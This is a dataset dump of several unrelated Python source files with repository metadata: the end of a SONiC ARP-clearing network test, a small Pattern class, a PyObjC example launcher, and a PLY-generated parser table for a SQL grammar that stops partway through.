flow. st.wait(5) # Verify static and dynamic arp entries after clear arp st.log("Verifying the arp entries on the DUT after issuing sonic-clear arp command with traffic flowing.") if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1) if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1) if not arp_obj.verify_arp(dut1,data.static_arp_ip_1,data.static_arp_mac_1,vars.D1T1P1): st.report_fail("static_arp_delete_fail", dut1) if not arp_obj.verify_arp(dut1,data.static_arp_ip,data.static_arp_mac,"",data.vlan_1): st.report_fail("static_arp_delete_fail", dut1) # Stop the traffic tg.tg_traffic_control(action="stop",stream_handle=[s1['stream_id'], s2['stream_id']]) st.log("Verifying the TG stats") traffic_details = { '1': { 'tx_ports': [vars.T1D1P2], 'tx_obj': [tg], 'exp_ratio': [1], 'rx_ports': [vars.T1D1P1], 'rx_obj': [tg], } } if not tgapi.validate_tgen_traffic(traffic_details=traffic_details, mode='aggregate', comp_type='packet_count'): st.report_fail("traffic_verification_failed") else: st.log("traffic verification passed") st.banner("End - Verified dynamic and static arp entries behavior on issuing sonic-clear arp command WITH traffic flowing") st.banner("Start - Verifying dynamic and static arp entries behavior on issuing sonic-clear arp command WITHOUT traffic flowing") # Issuing sonic-clear arp command and veryfying the entries behavior. arp_obj.clear_arp_table(dut1) # Verify static and dynamic arp entries after clear arp st.log("Verifying the arp entries on the DUT after issuing sonic-clear arp command") if arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1): st.report_fail("ARP_dynamic_entry_clear_arp_fail", data.t1d1_ip_addr, dut1) if arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1): st.report_fail("ARP_dynamic_entry_clear_arp_fail", data.t2d1_ip_addr, dut1) if not arp_obj.verify_arp(dut1,data.static_arp_ip_1,data.static_arp_mac_1,vars.D1T1P1): st.report_fail("static_arp_delete_fail", dut1) if not arp_obj.verify_arp(dut1,data.static_arp_ip,data.static_arp_mac,"",data.vlan_1): st.report_fail("static_arp_delete_fail", dut1) st.banner("End - Verified dynamic and static arp entries behavior on issuing sonic-clear arp command WITHOUT traffic flowing") st.report_pass("test_case_passed")	43.976744	135	0.686409	2,321	15,128	4.17751	0.106851	0.030941	0.029497	0.027847	0.800227	0.765058	0.73257	0.710087	0.688016	0.665738	0.039965	0.171338	15,128	343	136	44.104956	0.733488	0.127247	0.54955	0	0.018018	0.221125	0.046769	0	0	0	0	1	0.031532	false	0.027027	0.031532	0	0.063063	0	0	0	0	null	0	0	0	1	1	1	1	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
f53e5ecb41c774340897deac3f8c8c6c2211b8af	236	py	Python	pattern.py	fearlessspider/IKH-Quant-Connect	7545fdfcca4b83a02789e5572cd3f5e107f52985	[ "MIT" ]	3	2021-03-02T13:07:15.000Z	2021-11-15T09:51:07.000Z	pattern.py	ikamanu/IKH-Quant-Connect	7545fdfcca4b83a02789e5572cd3f5e107f52985	[ "MIT" ]	null	null	null	pattern.py	ikamanu/IKH-Quant-Connect	7545fdfcca4b83a02789e5572cd3f5e107f52985	[ "MIT" ]	3	2021-04-05T04:18:03.000Z	2021-06-28T17:59:08.000Z	class Pattern(object): def __init__(self, name, value): self.name = name self.value = value @property def Name(self): return self.name @property def Value(self): return self.value	15.733333	36	0.576271	28	236	4.714286	0.357143	0.181818	0.212121	0	0	0	0	0	0	0	0	0.330508	236	14	37	16.857143	0.835443	0	0.2	0	0	0	0	0	0	0	0	1	0.3	false	0	0	0.2	0.6	0	1	0	0	null	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	0	1	1	0	5
f54f7c0295bcc6d1f8b914cba2883ff39de92034	124	py	Python	mac/pyobjc-framework-Quartz/Examples/Core Image/CITransitionSelectorSample/main.py	albertz/music-player	d23586f5bf657cbaea8147223be7814d117ae73d	[ "BSD-2-Clause" ]	132	2015-01-01T10:02:42.000Z	2022-03-09T12:51:01.000Z	mac/pyobjc-framework-Quartz/Examples/Core Image/CITransitionSelectorSample/main.py	mba811/music-player	7998986b34cfda2244ef622adefb839331b81a81	[ "BSD-2-Clause" ]	6	2015-01-06T08:23:19.000Z	2019-03-14T12:22:06.000Z	mac/pyobjc-framework-Quartz/Examples/Core Image/CITransitionSelectorSample/main.py	mba811/music-player	7998986b34cfda2244ef622adefb839331b81a81	[ "BSD-2-Clause" ]	27	2015-02-23T11:51:43.000Z	2022-03-07T02:34:18.000Z	from PyObjCTools import AppHelper import TransitionSelectorView import objc objc.setVerbose(True) AppHelper.runEventLoop()	17.714286	33	0.862903	13	124	8.230769	0.692308	0	0	0	0	0	0	0	0	0	0	0.08871	124	6	34	20.666667	0.946903	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.6	0	0.6	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
f578af86918602b425f20723abe143e39c5319ce	57,869	py	Python	parser/team10/ProyectoPy/Gramaticas/parsetab.py	itsmjoe/tytus	3b0341cc854d67979b766c5c8b06ed172ce0c913	[ "MIT" ]	1	2021-01-09T05:32:35.000Z	2021-01-09T05:32:35.000Z	parser/team10/ProyectoPy/Gramaticas/parsetab.py	itsmjoe/tytus	3b0341cc854d67979b766c5c8b06ed172ce0c913	[ "MIT" ]	null	null	null	parser/team10/ProyectoPy/Gramaticas/parsetab.py	itsmjoe/tytus	3b0341cc854d67979b766c5c8b06ed172ce0c913	[ "MIT" ]	null	null	null	# parsetab.py # This file is automatically generated. Do not edit. # pylint: disable=W,C,R _tabversion = '3.10' _lr_method = 'LALR' _lr_signature = 'leftmasmenosleftpordivnonassocbetweenlikeleftmenormayorigualmenorigualmayorigualdiferenterightnotleftandleftorNEWLINE add alter and as asc avg between bigint boolean by cadena cadenacaracter case char character check column coma constraint cor1 cor2 create current_date current_time database databases date date_part day decimal delete desc diferente distinct div dosp double drop end enum except exist exists extract false foreing from full group having hour identificador identity if igual in inherits inner insert int integer intersect interval into is join key left like limit mas max mayor mayorigual menor menorigual menos min minute mode money month not now null num numeric offset on only or order outer owner par1 par2 pdecimal pi por porcentaje power primary punto pyc real references rename replace right second select set show smallint sqrt substring sum table text then timestamp to true truncate type union update vacio values varchar varying when where yearinicio : instruccionesinstrucciones : instrucciones NEWLINE instruccioninstrucciones : instruccioninstruccion : ddl\n\t\t\t \| dmlddl : sentencia_create\n\t\t\t\| sentencia_alter\n\t\t\t\| sentencia_drop\n\t\t\t\| sentencia_truncatedml : sentencia_insert\n\t\t\t\| sentencia_update\n\t\t\t\| sentencia_delete\n\t\t\t\| sentencia_select\n\t\t\t\| sentencia_showsentencia_create : create create_cont\n\t\t\t\t \| replace create_contcreate_cont : database if_not pyccreate_cont : table if_not par1 col_tabla par2 fin_tabla create_cont : type valor as enum par1 lista_insertar par2 pycfin_tabla : inherits par1 identificador par2 pycfin_tabla : pycif_not : if not exists identificadorif_not : identificadorif_not : if not exists identificador owner igual valorif_not : identificador owner valorif_not : if not exists identificador mode igual valorif_not : identificador mode igual valorcol_tabla : col_tabla coma identificador tipo propiedadescol_tabla : col_tabla coma identificador tipocol_tabla : identificador tipo propiedadescol_tabla : identificador tipocol_tabla : foreing key lista_id references identificadorcol_tabla : col_tabla coma primary key lista_idpropiedades : null propiedadespropiedades : not null propiedadespropiedades : identity propiedadespropiedades : primary key propiedades propiedades : nullpropiedades : not nullpropiedades : identitypropiedades : primary keytipo : smallint\n\t \| integer\n\t \| bigint\n\t \| decimal\n\t \| numeric\n\t \| real\n\t \| double\n\t \| money\n\t \| character\n\t \| text\n\t \| date\n\t \| boolean\n\t \| int\n\t \| identificadortipo : varying par1 num par2tipo : varchar par1 num par2tipo : character par1 num par2tipo : char par1 num par2sentencia_alter : alter alter_objetoalter_objeto : table identificador alter_cont pycalter_objeto : database identificador rename to identificador pyc\n \| database identificador owner to identificador pycalter_cont : add con_add\n \t\t\| drop con_drop\n \t\t\| rename con_rename\n \t\t\| alter con_altercon_add : column identificador tipocon_add : check par1 valor diferente vacio par2con_add : foreing key par1 identificador par2 references identificadorcon_drop : column identificador\n \t\t \| constraint identificador con_rename : column identificador to identificadorcon_alter : column identificador set not nullsentencia_drop : drop objeto if_exist pycif_exist : if exists identificadorif_exist : identificadorobjeto : table\n \t \| databasesentencia_truncate : truncate table identificador pycsentencia_insert : insert into identificador insert_cont pycinsert_cont : values par1 lista_insertar par2insert_cont : par1 lista_campos par2 values par1 lista_insertar par2lista_campos : identificadorvalor : numvalor : cadenavalor : pdecimalvalor : identificadorvalor : cadenacaractervalor : substring par1 valor coma valor coma valor par2lista_insertar : lista_insertar coma operacion_aritmeticalista_insertar : operacion_aritmeticasentencia_update : update identificador set identificador igual operacion_aritmetica condicionsentencia_delete : delete from delete_cont condiciondelete_cont : only identificadordelete_cont : only identificador pordelete_cont : identificador pordelete_cont : identificadorsentencia_select : select opciones_fechasentencia_select : select select_cont from lista_from condicion_contorder_by : order by identificador opcion_order order_byorder_by : condicion_contorder_by : limit operacion_aritmetica order_byorder_by : offset operacion_aritmetica order_byopcion_order : asc\n \t\t\t \| desccondicion_cont : where operacion_logica fin_selectcondicion_cont : where operacion_relacional fin_selectcondicion_cont : where operacion_logica group by identificador fin_selectcondicion_cont : group by lista_id fin_selectcondicion_cont : group by lista_id having operacion_logica fin_selectcondicion_cont : where exists par1 sentencia_select par2 fin_selectcondicion_cont : where operacion_aritmetica in par1 sentencia_select par2 fin_selectcondicion_cont : where operacion_aritmetica not in par1 sentencia_select par2 fin_selectcondicion_cont : fin_selectfin_select : order_by fin_select : pycfin_select : union sentencia_selectfin_select : intersect sentencia_selectfin_select : except sentencia_selectlista_from : lista_from coma identificador as identificadorlista_from : lista_from coma identificadorlista_from : identificador as identificadorlista_from : identificadorlista_from : hacer_joinlista_from : par1 sentencia_select par2 as identificadorlista_from : par1 sentencia_select par2tipo_join : inner join\n \t\t\t \| left join\n \t\t\t \| right join\n \t\t\t \| full join\n \t\t\t \| outer jointipo_join : joinhacer_join : identificador tipo_join identificador on operacion_logicahacer_join : identificador tipo_join identificadorselect_cont : porselect_cont : distinct lista_idselect_cont : lista_idselect_cont : sen_casesen_case : case case_whencase_when : when operacion_logica then operacion_aritmetica case_whencase_when : end valorlista_id : lista_id coma operacion_aritmeticalista_id : lista_id coma identificador punto identificadorlista_id : operacion_aritmeticalista_id : identificador punto identificadorlista_id : substring par1 valor coma valor coma valor par2opciones_fecha : extract par1 tipo_date from timestamp valor par2 pycopciones_fecha : now par1 par2 pycopciones_fecha : date_part par1 valor coma interval valor par2 pycopciones_fecha : current_date pycopciones_fecha : current_time pycopciones_fecha : timestamp valor pyctipo_date : year\n \t\t\t \| month\n \t\t\t \| day\n \t\t\t \| hour\n \t\t\t \| minute\n \t\t\t \| secondcondicion : pyccondicion : where operacion_logica pyccondicion : where identificador igual operacion_aritmetica pyccondicion : where exists par1 sentencia_select par2 pyccondicion : where operacion_aritmetica in par1 sentencia_select par2 pyccondicion : where operacion_aritmetica not in par1 sentencia_select par2 pycoperacion_aritmetica : operacion_aritmetica mas operacion_aritmeticaoperacion_aritmetica : operacion_aritmetica menos operacion_aritmeticaoperacion_aritmetica : operacion_aritmetica por operacion_aritmeticaoperacion_aritmetica : operacion_aritmetica div operacion_aritmeticaoperacion_aritmetica : par1 operacion_aritmetica par2operacion_aritmetica : valoroperacion_aritmetica : sum par1 operacion_aritmetica par2operacion_aritmetica : avg par1 operacion_aritmetica par2operacion_aritmetica : max par1 operacion_aritmetica par2operacion_aritmetica : pioperacion_aritmetica : power par1 operacion_aritmetica par2operacion_aritmetica : sqrt par1 operacion_aritmetica par2operacion_aritmetica : valor between valoroperacion_aritmetica : valor is distinct from valoroperacion_aritmetica : valor is not distinct from valoroperacion_aritmetica : valor is nulloperacion_aritmetica : valor is not nulloperacion_aritmetica : valor is trueoperacion_aritmetica : valor is not trueoperacion_aritmetica : valor is falseoperacion_aritmetica : valor is not falseoperacion_relacional : operacion_relacional mayor operacion_relacionaloperacion_relacional : operacion_relacional menor operacion_relacionaloperacion_relacional : operacion_relacional mayorigual operacion_relacionaloperacion_relacional : operacion_relacional menorigual operacion_relacionaloperacion_relacional : operacion_relacional diferente operacion_relacionaloperacion_relacional : operacion_relacional igual operacion_relacionaloperacion_relacional : operacion_aritmeticaoperacion_logica : operacion_logica and operacion_logicaoperacion_logica : operacion_logica or operacion_logicaoperacion_logica : operacion_logica not operacion_logicaoperacion_logica : operacion_relacionalsentencia_show : show databases show_contshow_cont : pycshow_cont : ins_like pycins_like : like porcentaje identificador porcentajeempty :' _lr_action_items = {'create':([0,25,],[15,15,]),'replace':([0,25,],[16,16,]),'alter':([0,25,78,],[17,17,130,]),'drop':([0,25,78,],[18,18,128,]),'truncate':([0,25,],[19,19,]),'insert':([0,25,],[20,20,]),'update':([0,25,],[21,21,]),'delete':([0,25,],[22,22,]),'select':([0,25,148,225,226,227,308,377,385,423,428,464,],[23,23,23,23,23,23,23,23,23,23,23,23,]),'show':([0,25,],[24,24,]),'$end':([1,2,3,4,5,6,7,8,9,10,11,12,13,14,26,30,31,41,70,97,98,115,116,119,133,135,140,141,157,183,193,208,218,221,223,224,246,304,315,316,317,348,350,370,371,375,381,383,384,390,391,421,430,452,460,466,467,468,475,477,478,481,482,484,485,487,],[0,-1,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-60,-99,-2,-151,-152,-198,-199,-17,-75,-80,-94,-160,-153,-200,-61,-81,-100,-115,-116,-117,-149,-161,-118,-119,-120,-18,-21,-62,-63,-93,-107,-102,-108,-103,-104,-162,-110,-19,-163,-101,-148,-150,-164,-109,-112,-111,-20,-165,-113,-114,]),'NEWLINE':([2,3,4,5,6,7,8,9,10,11,12,13,14,26,30,31,41,70,97,98,115,116,119,133,135,140,141,157,183,193,208,218,221,223,224,246,304,315,316,317,348,350,370,371,375,381,383,384,390,391,421,430,452,460,466,467,468,475,477,478,481,482,484,485,487,],[25,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-60,-99,-2,-151,-152,-198,-199,-17,-75,-80,-94,-160,-153,-200,-61,-81,-100,-115,-116,-117,-149,-161,-118,-119,-120,-18,-21,-62,-63,-93,-107,-102,-108,-103,-104,-162,-110,-19,-163,-101,-148,-150,-164,-109,-112,-111,-20,-165,-113,-114,]),'database':([15,16,17,18,],[27,27,33,36,]),'table':([15,16,17,18,19,],[28,28,32,35,37,]),'type':([15,16,],[29,29,]),'into':([20,],[38,]),'identificador':([21,23,27,28,29,32,33,34,35,36,37,38,40,44,45,52,85,87,89,93,96,100,101,102,103,104,105,106,108,109,110,111,112,113,114,121,123,125,134,138,142,184,185,187,189,195,199,200,202,204,205,206,209,212,219,220,229,230,231,232,234,241,248,249,250,251,252,253,254,255,256,257,258,259,269,288,289,290,291,292,305,314,318,323,324,325,326,327,329,331,332,351,367,368,373,380,392,393,397,399,400,401,403,412,414,420,426,431,473,],[39,56,73,73,76,78,79,82,-78,-79,83,84,88,76,76,56,139,143,146,76,76,167,76,76,76,76,172,76,76,76,76,76,76,76,76,76,189,76,207,211,214,265,266,76,270,291,294,295,296,297,298,299,76,76,309,76,76,76,321,322,-133,76,333,76,76,76,76,76,76,76,76,76,76,76,351,56,76,76,270,76,76,56,389,-128,-129,-130,-131,-132,76,76,76,270,416,417,76,425,76,436,76,76,76,442,56,451,76,76,461,76,483,]),'from':([22,42,46,51,53,54,55,56,62,65,66,67,68,76,99,107,149,150,151,152,153,154,155,156,158,159,161,162,163,166,167,168,169,170,171,172,177,242,243,244,245,260,261,262,263,264,330,333,395,398,469,471,],[40,89,-171,-136,-138,-139,-145,-88,-175,-85,-86,-87,-89,-88,-137,-140,240,-154,-155,-156,-157,-158,-159,-170,-178,241,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-142,331,-182,-184,-186,-172,-173,-174,-176,-177,-179,-144,-180,-141,-90,-90,]),'extract':([23,],[43,]),'now':([23,],[47,]),'date_part':([23,],[48,]),'current_date':([23,],[49,]),'current_time':([23,],[50,]),'timestamp':([23,240,],[45,329,]),'por':([23,46,55,56,62,65,66,67,68,76,88,91,143,156,158,161,162,163,166,167,168,169,170,171,175,178,179,180,181,182,214,215,243,244,245,260,261,262,263,264,301,303,313,319,320,330,335,376,395,419,461,469,471,],[51,-171,103,-88,-175,-85,-86,-87,-89,-88,144,103,217,-170,-178,-181,-183,-185,103,-88,103,103,-168,-169,103,103,103,103,103,103,-88,103,-182,-184,-186,-172,-173,-174,-176,-177,103,103,103,103,103,-179,103,103,-180,103,-88,-90,-90,]),'distinct':([23,94,160,],[52,159,242,]),'substring':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[57,77,77,77,57,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,57,77,77,77,77,57,77,77,77,77,77,77,77,77,57,77,77,57,77,]),'case':([23,],[58,]),'par1':([23,43,44,47,48,52,57,59,60,61,63,64,65,66,67,68,73,74,76,77,84,89,100,101,102,103,104,108,110,111,112,113,114,137,142,186,191,196,209,212,216,220,229,230,250,251,252,253,254,255,256,257,258,259,266,267,280,285,286,287,288,289,293,305,306,312,314,349,373,374,378,386,392,403,420,426,429,431,440,441,471,],[44,90,44,95,96,44,106,110,111,112,113,114,-85,-86,-87,-89,-23,123,-88,125,138,148,44,44,44,44,44,44,44,44,44,44,44,209,44,-25,289,292,44,44,308,44,44,44,44,44,44,44,44,44,44,44,44,44,-22,-27,358,359,360,361,44,44,367,44,377,385,44,401,44,420,423,428,44,44,44,44,464,44,-24,-26,-90,]),'sum':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,]),'avg':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[60,60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_lr_action = {} for _k, _v in _lr_action_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_action: _lr_action[_x] = {} _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'inicio':([0,],[1,]),'instrucciones':([0,],[2,]),'instruccion':([0,25,],[3,70,]),'ddl':([0,25,],[4,4,]),'dml':([0,25,],[5,5,]),'sentencia_create':([0,25,],[6,6,]),'sentencia_alter':([0,25,],[7,7,]),'sentencia_drop':([0,25,],[8,8,]),'sentencia_truncate':([0,25,],[9,9,]),'sentencia_insert':([0,25,],[10,10,]),'sentencia_update':([0,25,],[11,11,]),'sentencia_delete':([0,25,],[12,12,]),'sentencia_select':([0,25,148,225,226,227,308,377,385,423,428,464,],[13,13,239,315,316,317,379,422,427,459,463,480,]),'sentencia_show':([0,25,],[14,14,]),'create_cont':([15,16,],[26,30,]),'alter_objeto':([17,],[31,]),'objeto':([18,],[34,]),'opciones_fecha':([23,],[41,]),'select_cont':([23,],[42,]),'valor':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[46,75,46,92,46,158,165,46,46,46,46,46,173,46,177,46,46,46,46,46,186,192,46,267,46,46,46,46,46,330,334,46,46,46,46,46,46,46,46,46,46,46,46,364,366,46,46,394,395,396,46,46,439,440,441,46,453,46,46,46,]),'lista_id':([23,52,288,314,403,426,],[53,99,362,388,444,388,]),'sen_case':([23,],[54,]),'operacion_aritmetica':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[55,91,55,166,168,169,170,171,175,178,179,180,181,182,215,301,303,313,319,320,335,175,175,175,175,175,175,175,175,175,55,301,376,55,419,175,55,301,55,175,]),'if_not':([27,28,],[71,74,]),'if_exist':([34,],[80,]),'delete_cont':([40,],[86,]),'case_when':([58,335,],[107,398,]),'show_cont':([69,],[115,]),'ins_like':([69,],[117,]),'alter_cont':([78,],[126,]),'insert_cont':([84,],[136,]),'condicion':([86,303,],[140,375,]),'lista_from':([89,],[145,]),'hacer_join':([89,],[147,]),'tipo_date':([90,],[149,]),'operacion_logica':([108,142,220,251,252,253,392,431,],[174,213,310,336,337,338,435,465,]),'operacion_relacional':([108,142,220,251,252,253,254,255,256,257,258,259,392,431,],[176,176,311,176,176,176,339,340,341,342,343,344,176,176,]),'col_tabla':([123,],[188,]),'con_add':([127,],[194,]),'con_drop':([128,],[198,]),'con_rename':([129,],[201,]),'con_alter':([130,],[203,]),'lista_campos':([138,],[210,]),'condicion_cont':([145,310,311,319,320,388,432,461,462,465,479,486,],[218,383,383,383,383,383,383,383,383,383,383,383,]),'fin_select':([145,310,311,319,320,388,432,461,462,465,479,486,],[221,381,384,221,221,430,221,477,478,481,485,487,]),'order_by':([145,310,311,319,320,388,432,461,462,465,479,486,],[223,223,223,390,391,223,466,223,223,223,223,223,]),'tipo_join':([146,],[232,]),'tipo':([189,291,351,],[271,365,402,]),'lista_insertar':([209,289,420,],[300,363,457,]),'fin_tabla':([268,],[348,]),'propiedades':([271,354,356,402,405,407,],[353,404,406,443,445,446,]),'opcion_order':([389,],[432,]),} _lr_goto = {} for _k, _v in _lr_goto_items.items(): for _x, _y in zip(_v[0], _v[1]): if not _x in _lr_goto: _lr_goto[_x] = {} _lr_goto[_x][_k] = _y del _lr_goto_items _lr_productions = [ ("S' -> inicio","S'",1,None,None,None), ('inicio -> instrucciones','inicio',1,'p_inicio','gramatica2.py',21), ('instrucciones -> instrucciones NEWLINE instruccion','instrucciones',3,'p_instrucciones','gramatica2.py',27), ('instrucciones -> instruccion','instrucciones',1,'p_instrucciones2','gramatica2.py',36), ('instruccion -> ddl','instruccion',1,'p_instruccion','gramatica2.py',42), ('instruccion -> dml','instruccion',1,'p_instruccion','gramatica2.py',43), ('ddl -> sentencia_create','ddl',1,'p_ddl','gramatica2.py',50), ('ddl -> sentencia_alter','ddl',1,'p_ddl','gramatica2.py',51), ('ddl -> sentencia_drop','ddl',1,'p_ddl','gramatica2.py',52), ('ddl -> sentencia_truncate','ddl',1,'p_ddl','gramatica2.py',53), ('dml -> sentencia_insert','dml',1,'p_dml','gramatica2.py',60), ('dml -> sentencia_update','dml',1,'p_dml','gramatica2.py',61), ('dml -> sentencia_delete','dml',1,'p_dml','gramatica2.py',62), ('dml -> sentencia_select','dml',1,'p_dml','gramatica2.py',63), ('dml -> sentencia_show','dml',1,'p_dml','gramatica2.py',64), ('sentencia_create -> create create_cont','sentencia_create',2,'p_crear','gramatica2.py',72), ('sentencia_create -> replace create_cont','sentencia_create',2,'p_crear','gramatica2.py',73), ('create_cont -> database if_not pyc','create_cont',3,'p_create_cont','gramatica2.py',83), ('create_cont -> table if_not par1 col_tabla par2 fin_tabla','create_cont',6,'p_create_cont2','gramatica2.py',91), ('create_cont -> type valor as enum par1 lista_insertar par2 pyc','create_cont',8,'p_create_cont3','gramatica2.py',101), ('fin_tabla -> inherits par1 identificador par2 pyc','fin_tabla',5,'p_inherits','gramatica2.py',114), ('fin_tabla -> pyc','fin_tabla',1,'p_inherits2','gramatica2.py',129), ('if_not -> if not exists identificador','if_not',4,'p_if_not','gramatica2.py',136), ('if_not -> identificador','if_not',1,'p_if_not2','gramatica2.py',148), ('if_not -> if not exists identificador owner igual valor','if_not',7,'p_if_not3','gramatica2.py',155), ('if_not -> identificador owner valor','if_not',3,'p_if_not4','gramatica2.py',173), ('if_not -> if not exists identificador mode igual valor','if_not',7,'p_if_not5','gramatica2.py',182), ('if_not -> identificador mode igual valor','if_not',4,'p_if_not6','gramatica2.py',200), ('col_tabla -> col_tabla coma identificador tipo propiedades','col_tabla',5,'p_col_tabla','gramatica2.py',212), ('col_tabla -> col_tabla coma identificador tipo','col_tabla',4,'p_col_tabla2','gramatica2.py',224), ('col_tabla -> identificador tipo propiedades','col_tabla',3,'p_col_tabla3','gramatica2.py',235), ('col_tabla -> identificador tipo','col_tabla',2,'p_col_tabla4','gramatica2.py',243), ('col_tabla -> foreing key lista_id references identificador','col_tabla',5,'p_col_tabla5','gramatica2.py',252), ('col_tabla -> col_tabla coma primary key lista_id','col_tabla',5,'p_col_tabla6','gramatica2.py',267), ('propiedades -> null propiedades','propiedades',2,'p_propiedades','gramatica2.py',280), ('propiedades -> not null propiedades','propiedades',3,'p_propiedades2','gramatica2.py',288), ('propiedades -> identity propiedades','propiedades',2,'p_propiedades3','gramatica2.py',297), ('propiedades -> primary key propiedades','propiedades',3,'p_propiedades4','gramatica2.py',304), ('propiedades -> null','propiedades',1,'p_propiedades5','gramatica2.py',313), ('propiedades -> not null','propiedades',2,'p_propiedades6','gramatica2.py',320), ('propiedades -> identity','propiedades',1,'p_propiedades7','gramatica2.py',328), ('propiedades -> primary key','propiedades',2,'p_propiedades8','gramatica2.py',334), ('tipo -> smallint','tipo',1,'p_tipo','gramatica2.py',342), ('tipo -> integer','tipo',1,'p_tipo','gramatica2.py',343), ('tipo -> bigint','tipo',1,'p_tipo','gramatica2.py',344), ('tipo -> decimal','tipo',1,'p_tipo','gramatica2.py',345), ('tipo -> numeric','tipo',1,'p_tipo','gramatica2.py',346), ('tipo -> real','tipo',1,'p_tipo','gramatica2.py',347), ('tipo -> double','tipo',1,'p_tipo','gramatica2.py',348), ('tipo -> money','tipo',1,'p_tipo','gramatica2.py',349), ('tipo -> character','tipo',1,'p_tipo','gramatica2.py',350), ('tipo -> text','tipo',1,'p_tipo','gramatica2.py',351), ('tipo -> date','tipo',1,'p_tipo','gramatica2.py',352), ('tipo -> boolean','tipo',1,'p_tipo','gramatica2.py',353), ('tipo -> int','tipo',1,'p_tipo','gramatica2.py',354), ('tipo -> identificador','tipo',1,'p_tipo','gramatica2.py',355), ('tipo -> varying par1 num par2','tipo',4,'p_tipo2','gramatica2.py',362), ('tipo -> varchar par1 num par2','tipo',4,'p_tipo3','gramatica2.py',374), ('tipo -> character par1 num par2','tipo',4,'p_tipo4','gramatica2.py',386), ('tipo -> char par1 num par2','tipo',4,'p_tipo5','gramatica2.py',398), ('sentencia_alter -> alter alter_objeto','sentencia_alter',2,'p_alter','gramatica2.py',412), ('alter_objeto -> table identificador alter_cont pyc','alter_objeto',4,'p_alter_objeto','gramatica2.py',420), ('alter_objeto -> database identificador rename to identificador pyc','alter_objeto',6,'p_alter_objeto2','gramatica2.py',432), ('alter_objeto -> database identificador owner to identificador pyc','alter_objeto',6,'p_alter_objeto2','gramatica2.py',433), ('alter_cont -> add con_add','alter_cont',2,'p_alter_cont','gramatica2.py',450), ('alter_cont -> drop con_drop','alter_cont',2,'p_alter_cont','gramatica2.py',451), ('alter_cont -> rename con_rename','alter_cont',2,'p_alter_cont','gramatica2.py',452), ('alter_cont -> alter con_alter','alter_cont',2,'p_alter_cont','gramatica2.py',453), ('con_add -> column identificador tipo','con_add',3,'p_con_add','gramatica2.py',461), ('con_add -> check par1 valor diferente vacio par2','con_add',6,'p_con_add2','gramatica2.py',471), ('con_add -> foreing key par1 identificador par2 references identificador','con_add',7,'p_con_add3','gramatica2.py',486), ('con_drop -> column identificador','con_drop',2,'p_con_drop','gramatica2.py',505), ('con_drop -> constraint identificador','con_drop',2,'p_con_drop','gramatica2.py',506), ('con_rename -> column identificador to identificador','con_rename',4,'p_con_rename','gramatica2.py',515), ('con_alter -> column identificador set not null','con_alter',5,'p_con_alter','gramatica2.py',528), ('sentencia_drop -> drop objeto if_exist pyc','sentencia_drop',4,'p_drop','gramatica2.py',544), ('if_exist -> if exists identificador','if_exist',3,'p_if_exist','gramatica2.py',556), ('if_exist -> identificador','if_exist',1,'p_if_exist2','gramatica2.py',567), ('objeto -> table','objeto',1,'p_objeto','gramatica2.py',574), ('objeto -> database','objeto',1,'p_objeto','gramatica2.py',575), ('sentencia_truncate -> truncate table identificador pyc','sentencia_truncate',4,'p_truncate','gramatica2.py',583), ('sentencia_insert -> insert into identificador insert_cont pyc','sentencia_insert',5,'p_insert','gramatica2.py',598), ('insert_cont -> values par1 lista_insertar par2','insert_cont',4,'p_insert_cont','gramatica2.py',612), ('insert_cont -> par1 lista_campos par2 values par1 lista_insertar par2','insert_cont',7,'p_insert_cont2','gramatica2.py',625), ('lista_campos -> identificador','lista_campos',1,'p_lista_campos','gramatica2.py',652), ('valor -> num','valor',1,'p_valor','gramatica2.py',659), ('valor -> cadena','valor',1,'p_valor2','gramatica2.py',666), ('valor -> pdecimal','valor',1,'p_valor3','gramatica2.py',673), ('valor -> identificador','valor',1,'p_valor4','gramatica2.py',680), ('valor -> cadenacaracter','valor',1,'p_valor5','gramatica2.py',687), ('valor -> substring par1 valor coma valor coma valor par2','valor',8,'p_valor6','gramatica2.py',694), ('lista_insertar -> lista_insertar coma 